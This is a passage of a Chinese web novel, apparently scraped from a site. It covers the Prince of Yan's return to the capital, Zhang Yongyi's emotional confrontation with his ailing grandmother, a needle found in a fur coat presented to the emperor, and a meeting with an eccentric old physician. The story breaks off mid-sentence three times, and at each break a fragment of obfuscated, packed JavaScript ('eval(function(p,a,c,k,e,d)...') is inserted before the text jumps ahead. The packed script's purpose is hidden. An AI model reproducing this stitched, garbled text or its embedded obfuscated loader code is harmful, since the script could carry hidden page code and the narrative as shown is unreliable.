《砌下落梅如雪乱》 1. 第一章 千山雪(一) 雪下得很大,像是谁扯了一把鹅毛又鼓足了劲吹得到处都是,天上是,山上是,树上是,三角枝桠叉着的老鸦巢上是,硕石板下死在三秋的衰草上是,泥巴里比雪还白的梅花瓣上是,官道上是,马睫毛上是,斗篷边沿缝了一圈的褐色貂毛上也是。 掠道之风呼啸而过,比官道上踢踢踏踏的马蹄之声还要吵闹。 一行二十余人奔波连月,终于在迫近京畿的当下喘上了一口滚烫的故乡气。他们浑身都是热的,四肢热、耳鼻热、心里热,眼眶也是热的,溅出来的心血眼泪仿佛能将这样的寒冬严景烫出一个洞。 靖远门外久候之人见远方白茫茫一片里逐渐出现了这几点人影,不禁欢呼起来。 “来了来了,燕王爷回来了!” 沈磐刚从车窗上缩回脑袋,转眼就推开车门跳了下来,坐在车辀上与旁人有一搭没一搭聊天的太子沈碣还没来得及拦,她就已经一脚深一脚浅地跑出去几丈远。 “沈斫!” 控缰据于马上的年轻人刚模模糊糊看见远处巍峨城楼下乍然盛开一朵鲜艳的牡丹花,正讶异地想一探究竟,蓦地听见这一声惊飞寒鸦的呼唤,喜不自胜,一夹马腹一跃而出,在来人的面容逐渐清晰的当口,他及时勒住缰绳、飞身下马接住了跑得气喘吁吁、脚步虚浮得仿佛下一秒就要摔个鼻青眼肿的姑娘。 沈磐高兴得大叫:“回来了!终于回来了!” “姐!” 沈磐魔怔般念念有词,仰手一把捂上沈斫冰冰凉的脸,拇指刮刮他冻红的鼻尖又扯扯他的脸颊,捏来揉去,似是硬要找出一点做梦的破绽来。 沈斫脸一红,去拉她的手,“姐,后面有人看着……你放心我回来了,如假包换!” 沈磐红着眼眶,装出十分的欣慰:“嗯,很好……就是瘦了一点——你手怎么回事?” 她拽着沈斫要缩回去的手,才有些放松的神情立时紧绷。 “小伤……哪有不受伤的呢。” 正此时,官道上又追来几人,其中一个裹着一身夜行斗篷的年轻人牵了沈斫的坐骑,随着众人抱手朗声笑向沈磐:“给公主殿下拜年!” 循声,沈磐偏头迎着逐渐盛放的天光一看,那个男子一张脸衬在深灰貂毛里白得像玉,一双春风得意桃花眼也似嵌在其中浑然一体的两颗曜玉,亮得让人不敢久望。 沈磐撒开弟弟的手,故作骄矜地斜开眼:“原来是张千户,我知道你,立了功的边将就是不一样,的确不是兵马司的酒囊饭袋可以相提并论的,都能坐在马上给本宫见礼。” 闻言,张永一微讶,眼中一掠而过的情绪应该就是惊讶,他翻身下马,朝着沈磐单膝跪入雪中,高声拜道:“末将张络,拜见长平公主。” 跟着沈斫从东北回来的这些亲卫也纷纷下马,一齐扬声下拜:“拜见长平公主!” 在不知是谁呵出的热气中,沈斫朝沈磐恳求地眨眨眼,似在恳求她不要为难张永一,又似笑话她闲心大发捉弄人。 沈磐也没打算戏弄张永一,未曾想他这个弟弟见不得张永一受半点莫须有的小小非难,这么着急就护上了,仿佛她能一口吞了他似的。 心中无奈,沈磐只得笑道:“诸位都是宁远的骁将、是我东宫的恩人,切莫拘这些虚礼。” 视线又落到还不起身的张永一脸上,沈磐自道作孽,上前半步虚虚托起张永一落了雪的白铁护腕,“张千户请起。” 眼见沈磐的手带着一脉热烈的暖香接近,张永一微抬手臂,避开沈磐的手掌,“谢公主。” 身后亲卫齐声道:“谢公主。” 索性沈磐也不是真要扶他,又觉自己将玩笑开到了萍水相逢之人头上的确欠妥,便也无心计较张永一这番抬手竟为何故。 沈斫拽一把张永一的臂弯,朝众多亲卫笑:“起来吧起来吧。” 一回头,看见太子带着长缨卫指挥使走来,沈斫朝其拱手道:“二哥!” 才站起的张永一等重又跪下,“拜见太子殿下。” 太子扶住张永一的小臂,不甚注意指尖刚触及他的护腕便被冻得一缩,随后更着了火般刺痛起来,面上倒还从容端庄:“本宫深谢这两年来张千户与诸位将士对斫儿的照顾,化隆虽然是规矩冗沉之地,但在东宫,诸位皆可当作东北故地,往来从容,不讲虚礼。” “护卫燕王殿下是臣等的职责。” 等张永一等人站起,太子回头对沈磐道:“磐磐,不可对我东宫的恩人无礼。” 闻言,张永一又要跪下,沈斫伸手一拦,听沈磐拙劣地认错:“是,知错了,磐磐知错了。张千户,你这再要跪可就是在和本宫较劲了。” 张永一慌乱垂下眼,更是半站着半要跪尴尬得手足无措。 还说“知错”?知错完又管不住自己的嘴开始搬弄。 太子无奈,一手拉上妹妹,一手牵过弟弟,朝众人道:“马上就要天黑了,内城将闭,张千户与诸位可先归家与亲人团聚,明晚岁末宫宴,可去兵部报上勘合再至夜宴拜见陛下,陛下早备犒赏,就待诸位明晚赏光。” “陛下天恩浩荡,臣等舍生忘死难报其一……” 太子微笑:“不必多礼,快些回家吧。”他的目光落在张永一的脸颊上,“再晚梁国姑母就要担心了。” 得见两年来日夜煎熬的沈斫心情畅快,张永一的心终于落地,朝东宫三人笑应:“是。” ** 梁国公主府修于升平年间,坐落于务本门附近,周围一圈都是簪缨世家的聚居所在。张永一护送燕王回京,从靖远门入城,便只需趟过贯穿外城南北、连通芳林和启复二门的白虎大街即可。 方才城外,天还是大亮的,他牵着缰才走上白虎大街,云光黯淡,晚雪飒飒,一路华灯相送,看得在东北苦寒之地困守整整两年的一众归人目不暇接。 义然指着飞翘于千檐万顶之间的那处塔楼,“公子你看,观华楼上灯了。” 张永一才望着大路一边临川郡主府和鲁国大长公主府的巍峨,这便顺着义然的话转头眺望远天,观华楼上张灯结彩,兔儿灯、猴子灯、仙鹤灯、美人灯、游鱼翱鳖灯,将万古寥落的深空也装点得五光十色。 “好看。” 义然又指着西南处的另一座刷着满身红漆的高楼,“万景楼也撤铃换灯了!” 万景楼四角高檐下常年悬挂的迎客琉璃铃已然成了化隆一处特色,岁末这天,东家掌柜便会亲自上楼,将迎客铃取下送至兴化门外双塔寺去尘拂恶,又在檐下挂上四只八角琉璃走马灯,每一面灯厢上都蒙上时下丹青妙手的亲笔,价值连城。 “好看。” 义然高兴:“万景楼的灯要挂到十五呢,十五之日,任何人能射得任意一盏,万景楼就要为之下灯。这每年排队尝试的人数百,多少不差咱们一个,今年不妨去试试?” 张永一摇头:“以前又不是没试过,这么高这么远又这么黑,我自认功夫还不到家。” “识别三日当刮目相看,何况已经两年过去了,公子不试试怎么知道自己不行?” 张永一远远指着那盏西北角的山河锦绣琉璃灯,“这四盏之中,就这一盏从角度来说最容易,但从万景楼挂灯至现在,总得有个五六十年了吧,升平年间只有一个少年将军乔致用,也就十年前致仕的乔尚书,只有他射下过;本朝也只有霍大将军射中,他们是何等神武有力的人物?我去就是自不量力。” “自古英雄出少年!乔尚书当年也不过公子你这个年纪吧,霍大将军,不,现在要叫霍尚书了,那年他也不过二十五六,也就比你大上五六岁……” 张永一笑:“他们都是刀山火海练出来的,身经百战,更是百步穿杨不在话下。你要试你自己去试,我就不去丢这个人了。” “公子怕丢人,倒不怕两手空空回府让人笑话。” 张永一指他:“你别激我,我才不上钩。” 义然大笑:“不射就不射,只是咱们真要两手空空地回去?” “带着战功,怎么会两手空空?再说了,我也是真心准备过礼物的,谁让那长桫三天两头地烦,我才打了六张貂皮,一件大一点的披肩都不够做的。回去我和祖母说,我这六张貂皮都送给燕王殿下了,殿下缝了做了件披风,今岁回京是要献给陛下补去年千秋节生辰贺礼的,听见这个,祖母岂不比自己收到披风还要高兴?” 张永一又推搡他:“好了好了,我们在化隆还要呆上一阵子,够你每天出去乱逛看得够了,走走走,饿死了。” ** 深墙深夜,大敞的轩窗外骤积深雪,槛内则摆着把温馨的躺椅,椅子旁架了盏鎏金立灯,灯碗中幽幽的一点火光,衬得这一片温暖外的空间深不可测。 入目的一切都是这般深邃,就像宁远的每个雪夜,要将久久凝望的每个人都吞噬殆尽。可拢着裘衣坐在摇椅上愣愣出神的那个人又是这么浅,嘴角有很浅很浅的笑,目光也如咫尺深的浅潭,一点光就能把漾起的波纹变化出千百个奇异的花样。 张永一也不自主放轻脚步,在入内室前叉手下拜,“祖母。” 他觉得自己这一声“祖母”叫得很吵,但老太太仍沉浸在自己的世界里,仿佛上了年纪耳朵背,没听见他的呼唤。 张永一蹑脚缓步走到她身边,“祖母?” “哦,络儿……”梁国牵住张永一的手,她的视线也随之落了下来,“络儿,你来了。” 张永一跪在她的脚边,“嗯,祖母,我回来了。” 梁国攥着他的手贴上自己被夜风冻得有些麻木的脸,脸上一有温度,她的眼眶也似解冻,被烛火一晃,像要滴下泪来。 “祖母,我来关窗。” 梁国拉住他的手不放,“不用关,我身子还硬朗着,吹不坏。” 老太太攥得紧,张永一没法,只能用另一只手帮她掖领口,“祖母,您还是要保重身体……” “你才要保重身体。” 张永一笑,“孙儿年轻,身强体壮……” “在宁远呆了两年不曾回来,身上添了多少伤?” 张永一仰头笑答:“不多。” 梁国将他的手扣在自己膝头,“你从小就报喜不报忧。” 张永一笑得灿烂:“那是因为没有忧只有喜。” “滑头狡辩。”梁国翻手轻抚他温热的脸颊,指腹触及他下颌上凸起的一道已经生肉了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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永济初年,内阁辅臣周舫南巡粮道以赈急汛,那时他的独子才遭风寒夭折,但汛情急迫,周舫公务在身回不了家,谁料暑热难耐、不期病死江上,周夫人不堪打击、上吊自杀,门庭寥落、就此绝户,最后只有族中远嫁的侄女帮他们收殓。 而永济本朝的第一位首辅柳曦既,自感身体衰败、精力不济,曾两次上表自请还乡,陛下为国次次挽留,又批了三月长假供他修养,谁期隆冬雪深,柳曦既才过知天命之年便突发重疾撒手西还,故友收其衣冠,家无余财,一片凄凉,永远整齐的桌案上书卷混乱,其中三次辞表草拟未半,墨迹已干。 提起这二位,梁国知道,他们死得太早而后起之辈生得太晚,诸如张永一等人对他们多有敬佩之意,但这种剜心也无法比拟的丧失之痛,他们是无论如何也理解不了的。 她长叹一声,眼泪又落了下来,“他们都是为国为民、不顾身者,陛下知恩图报,感念他们的忠心,上柱国、赞美谥、荫及远亲,门楣光耀、青史留名的诏书下了不知多少道!可是啊——柳先生一生未娶、埋骨卷牍,周先生妻儿病笃、葬身江船,你的志也像他们的一样宏大,我欣慰,我骄傲,但我并非要你如他们一般举身报国……” 张永一替她抹泪,“祖母,孙儿没有文才,空有一身力气和叔伯教授的武艺,父亲平生未完的志向是永定四海,做儿子的当承袭父志,为国尽忠……” “为国尽忠也要先保全自己啊!你知道他们的亲朋好友会有多么痛惜吗?你知道……知道……” “孙儿知道,战场上刀枪无眼,祖母担心我出意外。可做了文臣书生、龟缩在庙堂之上便能一世无忧吗?陆将军说,官场文人的笔有时比战场将士的刀还要凶险!孙儿于笔墨上实在没有造诣,更没有科举入仕、在文坛上一决雌雄的本事,只有在边疆……在长城上……” 只有盘旋霄汉的才是鹰。他们或可暂栖崖巅,但孤独荒凉又危机四伏的天空才是归宿。 他想做大楚的鹰。 梁国已泣不成声。 “祖母,只要是为了百姓,为了大楚,为了陛下,孙儿什么都愿意做,什么苦都能吃,什么罪都能遭,什么危险都能坦然应对不后退。” 她的孙儿,本来就是鹰。 张永一将梁国的双手捧至心口,“在宁远,孙儿真就见到了书中惨状,‘伏尸百万,流血漂橹’,不是夸张虚语。待狄人退散,陆将军亲自带着我们去捡同袍的尸骸,为他们筑穴、为他们起坟,军书战报上的每一个名字都是孙儿亲自写的,每一个名字后面都有一个家……” 梁国不敢抹去他的眼泪。 “祖母,孙儿不忍!” 梁国低头,顶着手背。 “陆将军说,将者,慎战,止战。近年大楚军中风气不佳,自升平年间义律请和,多年来边将无功、匹夫怨声四起。陛下继位以来,安定二十年的西北再起风波,追随霍大将军立功授官、封妻荫子者数十家,军中好战征伐之风越发盛行……祖母,一将功成万骨枯,孙儿不忍,不忍见那么多兵士因为一个人、几个人的好大喜功而断送性命!” 张永一抽出自己的手,交叠额头,膝行后退,朝佝偻着背垮坐在风雪里的梁国长公主下拜,“祖母,孙儿不忍!” 他抬头仰望着已经哭不出声音的梁国长公主,被泪水浸过的眼睛里,落着化隆十几年来也不曾见过的磊落明星,“祖母,陆将军去时将这样的重任托付给了后人,他没有兄弟,也没有儿女,孙儿守在他的床前,看着他的眼睛没了神采,一想到,父亲走前……或许也是这么失望又饱含希望……” “祖母!” 2. 第二章 千山雪(二) 张永一的声音里已饱盈乞求:“孙儿有这样的志向,有这个决心去磨练的本事,孙儿什么都不怕,孙儿也不求名利、不求享受,甚至可以像戍守长风关、以身殉国的靖臣窦将军一样不立家室……大楚不缺我一个,大楚却又正缺我这个人!这种事,总要有人去担负、去抗争、去肃正、去斗、去拼……” “张络!” 张永一喉头一紧。 “你可以为了忠贞之志,赌上一切、抛弃一切!” “是!” 梁国嘴唇乌紫,“所以你也能……抛弃祖母吗?像说出刚刚那些话一样,轻飘飘说出那些话一样地,抛弃祖母吗?” 张永一紧咬牙关,猛然磕了一个响头,沉默地匍匐于冰凉的地板之上。 窗外雪已经在他身上、身外,铺上了薄薄一层霜白。 梁国再度呜咽:“所以,你不能不忠,但能不孝!” 夜风卷起地上的雪片,掠起梁国长公主苍苍白发,也掀起张永一用攥紧的手死命压住的衣角。 “络儿……你还这么年轻,因为突然的战事困在东北,陆将军替你加冠了……而祖母……祖母已经这么老了……” 张永一手指攥出了声。 梁国从躺椅上滑到地上,护着他的肩膀,面色终于苍白如雪,“祖母就要死了……” “祖母!”张永一霍然抬头,就看见了她脸上的惨怆。 “祖母只有你这一个亲人了……” 祖孙两个抱在一起。 “络儿……你要抛下祖母吗?祖母只有你了,你祖父死了,你父亲母亲死了,你叔叔婶婶死了……我的母亲也早就死了……我没有至亲的兄弟,也没有同胞姐妹……祖母只有你了络儿,你要……你也要抛弃我吗——” 张永一托着梁国长公主塌下去的脑袋,撕心裂肺地喊了起来:“祖母!快来人!找医生!” 永济二十九年的岁末,冰冻三尺,漫天飞雪。 张永一在梁国长公主的病榻前守了整宿未睡。卯时刚过,临近天明,张永一打了个盹,梦见幼小的他骑着父亲的肩膀、跟着母亲一起去看十五灯会,务本门十字街上的鳌山灯比往年更加雄伟,但坐在父亲的肩膀上,这小小的鳌山算些什么,他一伸手就摸到了万景楼上那冰冰凉凉的琉璃灯。 张永一猛然清醒,乍见天光盛大,眼前一片茫茫。 梁国长公主还在温暖之中安卧,呼吸平缓,脸上笑容安详,可手握着他,一丝一毫也不肯放松。 张永一稍放下心来,刚望着祖母有些出神,就听室外脚步嘈杂,很快就有人裹携着隆冬冷意冲了进来。他回头,轻声叫了一句:“八叔祖,堂兄。” 张八郎带着长孙张绰朝平躺着沉眠的梁国长公主施礼,见张永一的手被扯着,便按按他的肩膀,“络儿,你出来。” 张永一轻轻掰开梁国长公主的手,蹑手蹑脚地跟着张八郎出了里间。 “络儿,燕王殿下进献给陛下的那张裘衣——” 一提及此,张永一心中不详,一见张八郎欲言又止的模样,张绰在一旁灰心丧气的模样,顿时心中如泛滔滔,他迫切问:“叔祖,是出什么事了吗?” “唉,大事!” 张永一呼吸一窒,几乎不敢去问事情的细节。 张八郎把着他的手臂,声线里如同磨了沙子,“络儿,那张裘衣里有六块貂皮是你打的?” “是。” 张八郎面色如土:“今晨陛下试穿,发现衣领里藏了根针!” 张永一心一紧,“陛……陛下可有事……” 张绰见祖父惊恐万分说不下去,连忙搀扶住摇摇欲坠的两人,轻声宽慰:“陛下无事,也不提追究,只是罚了燕王殿下——” “殿下被罚了!笞刑、杖刑还是下了诏狱?” 张永一没收住力气,隔着厚厚冬衣将张绰都抓疼,但张绰只继续安慰他:“燕王再不受宠也是陛下的亲子,这些军中刑罚断然不会用到他身上的,陛下只让燕王罚跪,没说时辰,那其中转圜的余地就很大了,且我听说太子和长平公主已经去求情了,永一,你不用太担心了。” “燕王殿下忠厚爱君,怎么可能做出这种事情?” 张绰道:“陛下不追究,应该就是当意外处理的,或许就是缝衣的下人忘记退针了——唉,这种说法着实荒谬,但是……” “这件衣裳是燕王殿下亲自缝的。” 张八郎和张绰都愣在原地。 这件裘衣究竟是何等品色,他们不知道,但怎么想,能进献给陛下的东西总归不会过于寒酸粗陋,且制一件裘衣就要花几十张上好貂皮,手巧的宫女绣娘缝上一件也要花不少个日夜。谁知,东北还打着仗,熬灯缝衣的那个人,居然是金尊玉贵养大的天潢贵胄、龙子皇孙。 张永一声音有些沙哑:“而且,缝完后,我亲自检查过针头线头,没有意外……” 张八郎喟叹不已,忽见眼前人影一闪,他忙喊道:“络儿!你要上哪里去!” 张绰眼疾手快拉住了张永一,“永一,你要进宫为燕王求情吗?” “不是求情,是陈情。” 张八郎悲愤道:“你陈什么情!如果这不是意外,那就是陷害!无论是谁陷害谁,宫里都要杀人,现在是新年,新年!文武百官、天下百姓盼了两年才来的平安年!这样的日子都要见血!都是天大的不祥!” 张绰见张永一平复下来,松手扶住自己的祖父,“永一,这件事过去就过去了,如果起了风浪,谁知道这是冲着陛下去的、冲着燕王去的,还是冲着你、冲着咱家去的?陛下和燕王是父子,燕王与晋国公主、长平公主,还有东宫太子都是一母同胞的兄弟,陛下与陈皇后夫妻情深,哪怕燕王真的脱不了干系,为了亡妻,为了太子,陛下也不会重罚的。” 张永一沉静下来。 张绰:“永一,树大招风,升平朝咱家躲过了血洗,但不代表永济当朝还能安枕无忧。陛下和燕王是一家人,可你是外人,我们是臣子,神仙斗法、凡人遭殃,如果真是陷害,如果陛下真要追究,就是胡乱编个借口栽在你头上、栽到咱家头上,这都是灭顶之灾。” 张八郎急劝:“你不想想你父亲母亲,你也得想想你祖母!” 祖母就要死了…… 他不敢去想,如果祖母真因为自己直愣莽撞而难保余年,他将会有多么懊悔。 张绰:“我身在羽林卫,虽然这些天不轮值,你若真的担心,我再托人去探探消息。” 张永一朝张八郎祖孙拜谢,“叔祖,堂兄,多谢你们来告诉我这个消息。” 张八郎制止:“我们只是来看望你祖母,你祖母为了这个家劳心费神几十年,身为后辈的不能为长者分忧,在她身有不适的时候侍奉左右,这点孝心还是应该有的——络儿,你又要去哪儿?” 张永一再行一礼:“昨夜回来得急,还没去兵部交行路勘合,过了今天六部衙门就要休假,不能再拖了。” 张绰如何不知道他想干什么,“你在东北立了功,今天晚上的岁末宫宴必有你的一席之地,到时候去还更顺路……” 张八郎心里叹气,心知他也是个苦劝不住,只能打住孙儿的话头,“早去早回,注意安全。” ** 东风亭孤独地站在冬日苍白磊落的天幕之下。 一见跪在石子路上那个背影,沈磐控制不住自己飞起的脚步,几乎是挣脱了宫规跑了过去大叫一声,“沈斫!” 沈斫被冻得厉害,听见了这再熟悉不过的声音,被冻得出走的三魂六魄顿时归位。他抬起毫无血色的一张脸,迎着头顶白得刷粉的天光,望向朦朦胧胧飞雪里已经被气得四肢冰凉、五官移位的沈磐。 他扯出一个,似哭似笑的安慰。 “起来!”沈磐避开他的眼色,抓着他垂在身侧的胳膊要将人惯起,就见他轻轻摇头,喑哑着嗓音叫她放手:“姐,不用。” 沈磐的肺都快气炸了:“你给我起来!” 沈斫再度摇头。 “你怎么这么轴!父皇让你跪,你不跪廊下跪这里,风雪来去无阻,你这是要跪死自己!你还要不要命了!” “父命不可违。” “父要你死你也去死?”沈磐吼得气血上涌,拽着沈斫就要往上拔,就见周遭宫女、内监袖手一旁,气得更厉害了,“他犯蠢你们也跟着犯蠢?还愣着干嘛?都是死人啊!” “别连累他们……” 沈斫话还没说完,沈磐便甩开手,突然冷笑起来:“你倒是好心!还可怜别人,谁可怜你?分明是有险恶之人存心陷害,涉事的宫女内监一个不罚却偏偏罚你!好啊,这一整天你就跪吧,跪到晚上群臣进宫看你的落魄样!谁路过不以为你是犯了天条,哪还有一点建了功业的亲王模样!等他想起了你,你早就冻死了!就算不冻死,你这双腿也别要了,战场也别上了,宁远也别回了,就一辈子老死在紫微宫里当一只乞讨的老鼠!” 沈斫的声音里满是凄凉:“磐磐……我没事的。” 沈磐站在他身后,抹了一把脸,克制着自己心中越发喧阗的哭声,将那口泻下去的气又提了起来。 沈斫如何听不见这样的嘈杂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他这么一跪,必然不会有人胆敢继续追究,张永一他们也不必受自己的牵连。其实这对张永一来说,就是无妄之灾,他好好地跟着陆将军历练,做他的千户,将来也做他的参军校尉,再当他的将军、封妻荫子,一生顺风顺水又呼风唤雨,自己就不该问他借那六张貂皮,白白让他也添上生死难料的恐惧。 由张永一,沈斫又想到,张家是武将世家。升平末年,赵王谋逆造反,朝廷因此诛杀了不少军功出身的世家大族,夺籍削爵一连十几家少有幸免。张家中立,逃过一劫,但军中威望仍在,如今三边都督、西越都督皆是其家人,十二卫中更不乏其子弟,梁国长公主的身体每况愈下,张家及其亲族目前也没有要和皇室继续秦晋之好的打算,态度这么高傲,恐遭是非。 是非啊。 张家怎么能让张永一来东北?张永一怎么能在战场上救他性命?捡到了他这个是非口袋,张永一、张家这辈子都爬不出由他倾倒出的污秽泥潭。 沈磐拥了东宫的氅衣,就在不远处陪着沈斫。 “回去。”太子目中哀楚,却也只能扯了沈磐的手,将人往东宫的方向拖。 “二哥!”沈磐甩开了太子的手,回头看着沈斫依然跪得笔挺的身影,“父皇有这么多孩子,还有个最宠爱的幺儿带在身边,他才不在乎沈斫死不死!可他是我们的亲弟弟啊!母后拼了命保下他,忍心看见他被这样磋磨吗!” 沈磐又拽住太子的手,“二哥,父皇什么都清楚,却要苛责他!这么多年了,就因为从产房里活着出来的是他而不是母后!二哥,你也是为人父的,你说这是父亲吗?他这么冷血自私,他配当父亲吗!” “沈磐!”太子猛然捂住她的嘴,“这些话不能乱说!” 他手掌里已经蓄满了沈磐的热泪。 受迫于这样的锥心之痛,太子也不忍闭眼。 “二哥……” 听不了沈磐喉咙中的呜咽,太子慌忙帮她擦去眼泪,可眼泪越擦越多,多到最后满手、满袖、满脸都是。 “呆在这里,听话。” 说完,太子大步冲向了沈斫。 沈磐不知道他要干什么,刚要追过去,就见跟着太子一并前去的那个长缨卫,伸手似是扶了一把沈斫的肩颈,沈斫就如同推倒的冰塑,直挺挺地摔到太子身上。 她受不住惊吓尖叫出声。 长缨卫拔刀铲着沈斫膝盖下的冰碴,太子蹲跪下来,抬了沈斫,废了不少力气将人打横抱起。 “走,我们回家。” 3. 第三章 千山雪(三) 张永一离了兵部便横贯内城跑去了十二卫的衙门,从羽林卫处得到燕王平安的消息,他这才恍惚地走出西长安门。 义然也没有带,他骑着马,一个人沿着青龙大街往南走。尽管这一带他不常来,但他记得清楚明白,只用沿青龙大街一直走到金光门十字街,然后选大路向东,一直骑到务本门十字街就行了,保准不会走错。可是他心里压着事情,岁末最后一天的西半城也热闹,他在车流马队中很快就丢了方向。 拐入小巷就不是这么容易出来了。 张永一转了好久,终于在第三次闯入死胡同后,认命地打算向行人问路。 死胡同之所以为死胡同,就在于这个“死”。 不过张永一的眼睛尖,移开一堆杂物里欲盖弥彰般套在上面的竹篾箱笼,睡在小山似破铜烂铁里的一个干瘪老头便慵懒地翻了一个身。老头浑身上下脏兮兮的,像是猪圈里滚过泥巴泔水的猪,但猪是何等聪明,一嗅出张永一身上干净、端正、富贵、年轻的气味,一张鬼脸登时落地,一骨碌从废物堆里爬起,逃也似地朝胡同口撒腿狂奔。 张永一牵着马,奇怪地望着他一个人的兵荒马乱。 一瞬。 两瞬。 三瞬。 那老头觉得身后静悄悄什么动静也无很是奇怪,忍不住别过头来看,就见那一身打扮公子哥得不能再公子哥的年轻人正看自己,奇怪考究地看着自己,像是看傻子般地看着自己,触及自己的视线,连忙和善可亲地冲自己笑:“老伯,我没有恶意。” 老头鬼使神差地刹住脚,觉得自己的行径十分掉价,下意识地一捋自己已经掉了半边的翘尾胡须,又觉得这年轻人一身正气,长得俊俏,神色里还有点呆呆愣愣的纯粹感觉,不像是谁家的探子,便试探地挪近了一小步。 张永一见有戏,连忙施礼:“老伯,我是想问个路。” 了解了来意,老头再挪近一步。 “请问金光门十字街怎么走?” 老头眉毛一翘,两日来的戒心彻底如土委地,朝张永一摆手:“不知道,我还想问你呢。” 见张永一一脸讶异的样子,老头不高兴地哼哼:“怎么,以为我是城里的叫花子?” “没有……晚辈绝没有这个意思……” “那就是偷度入城的土匪子?哼哼,才不是什么流民鼠辈……” 老头捡起被风吹翻了的破袄,重新给自己的猪圈垫好柴木稻草,自顾自嘟囔着:“真是虎罗平阳被犬欺,龙游浅滩遭虾戏,拔了毛的凤凰不如鸡!老道真是比沙子泥土还要卑贱了……我的国主啊,你怎么走得这么早呢,留下老道一人被欺负成这个样子……” 张永一捡起要被狂风吹跑的竹笼,“老伯?” 老头没好气地冲他龇牙:“滚滚滚,打扰我休息,就差那么一点——” 他伸手比给张永一看,可张永一只看见他存满污垢的指甲比姑娘家留的都长,手又精瘦精瘦的,像是一对乌鸡爪。 老头老泪纵横:“就这么一点!” 张永一看着他拇指、食指间比的距离,差点荣获一双斗鸡眼。 “就这么点!”老头哭得伤心。 “老伯……对不起,我真不是有意的……” “你是故意的!” 张永一被呛,不敢说话。 “我的命怎么就这么苦啊!我马上就能在梦里见到阎王了!为什么要叫醒我啊……师父……国主……我的徒侄啊……” 张永一进退两难。 他刚想遛的,这老头却抱着自己的腿不肯撒手,自己将人扒拉下不是,任他抱着也不是,便只能舔舔被风吹得干涩的嘴唇,试探地问:“老伯,你是不是有什么冤屈——” “我有天大的冤屈啊!” 张永一捏拳。 这老头的鼻涕马上就要滴上自己的裤脚了! 他听见自己的声音发抖:“老伯,你有冤屈,我带你去衙门里诉,京兆、刑部、大理寺,我都认得……” “我要告的就是那群狗官啊!” 张永一一愣,见这老头机敏地把自己的鼻涕撩开,这才蹲下身严肃问:“老伯,是官府欺压了你?什么官,京兆还是……” “欺压!欺压!他们何止是欺负我压迫我……” 张永一要扶他起来,却见老头刚攀上自己的手臂,轻轻一捏,神情一僵,说话的语气也霎时正常许多,可这一正常,周遭顿时阴恻恻起来,“你是武官?” “是。” 老头如遭雷劈,跌坐在地,见鬼似的,手脚并用地就要逃,张永一连忙拦他:“老伯!老伯别紧张,我不是坏人,我也不是化隆城里的武官……” 老头叽哇乱叫,叫了一会儿,这才冷静下来,“西北还是东北的?” “东北宁远的。” 老头的眼泪又滴了下来,忙趴在地上磕起头来:“义士!恩人!将军!” 张永一眼皮一跳,“老伯老伯,万万不可行此大礼,有什么冤屈你跟我说,我虽人微言轻,但但凡能帮到的,我一定竭尽全力……” “将军!你要救我啊!” ** 义然提着捅,肩上还挑着热水,进进出出,止不住地和张永一抱怨,“公子你从哪里捡回来的臭要饭的?这是几百年没洗过澡了吧?” 里间正哼着乡野小调愉快沐浴的老头像是长了顺风耳,扯着破锣嗓子大声骂:“滚!你才是臭要饭的!你全家都是臭要饭的几百年不洗澡!” 义然搁下捅,刚要中气十足地回怼,张永一就笑道:“别别别,惊动祖母就不好了。” 义然愤然提桶出门,过了会儿,收拾好一地水才晃荡到张永一身边,“公子,我来帮你换药吧。” “别动他。” 义然刚要拆张永一左手臂上渗血的纱布,老头就一边系着衣带,一边慢吞吞从里间飘了出来。 “反反复复渗血,总该有个两三个月吧?” 张永一满头是汗,却还是笑着点头:“果然是神医。” 老头“切”了一声,“你这伤,军中的大夫怎么说?” “不过普通箭伤,没请大夫看。” 老头一瞪,张永一顿时有了种猫捉耗子的汗颜之感。 “没请大夫?”老头拾了桌上的包子狼吞虎咽,“给他剪开。” 义然担心张永一的伤,没有二话顺从地用剪子剪开了纱布。 伤口像是已经愈合了,但伤疤处糊着一层血痂,应该是天气太冷太干的缘故,血痂冻得黑紫,张永一略一用力,边缘便碎出了血块。 老头吹胡子瞪眼睛,“动什么动?显得你年轻胳膊肘子有力气啊!” 张永一面色讪讪。 老头又摸了一只肉包,“你今年多大……还没娶媳妇吧……你这个伤不好好处理……” 义然很着急:“会怎么样?” “小心房中不谐。” 义然“呸”他:“你个老妖怪胡言乱语,我还没见过谁伤了胳膊然后不举的。” 老头觑了张永一一眼,见着年轻人居然红了耳朵,更起了玩笑的心思:“我才要呸你呢,呸呸呸!没见过?那是你小娃娃井底之蛙目光短浅!老道我行医制药六十余年,见过的死人比你见过的活人还多,你个小娃娃和我叫板,不知死活。你家这少爷年纪轻轻——” 老头一搭脉,“还是纯阳童子之身——” 张永一轻咳一声。 “大好青春,却要断送在这些自以为是的庸医手中,个中滋味品尝不到、子嗣重任担负不了,这得要抱憾终身啊!” 张永一按住撸袖子要抽人的义然,笑问:“神医,那我的伤究竟如何?” 他的耳朵还红着,屋内这么暖和,总不能是被冷风冻出来的吧。老头吞了肉包,又撕了只鸡腿啃起来,“你自己看,这么久了还留血痂……肉都长好了,但周围一圈时不时还渗些血……你不是还感觉这只手臂常常无力?” 张永一收敛笑意,“的确,拉弓时常常使不上力。” 老头丢了鸡骨,再掰了一只鸡腿,“那有时睡觉,做些绮丽的梦境时……” “绮丽的梦境?”义然反问。 张永一却是立即懂了,神色更加尴尬,老头会心一笑,“贴心”地解释:“年轻人血气方刚,这都是正常的事,若是遇见这种情况,全身血脉通畅,这毒便会随着血脉遍布全身,所以第二天醒的时候,你还会觉得肢端无力,手指尖、脚趾尖感觉麻木,休息片刻才能恢复。” 老头吐骨头,滴溜溜的黑眼珠笑眯眯地看他,“年轻人,你说老道讲的,符不符合你的症状啊?” 张永一点头:“神医。” 义然无奈,也朝老头施礼:“是我冒昧了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 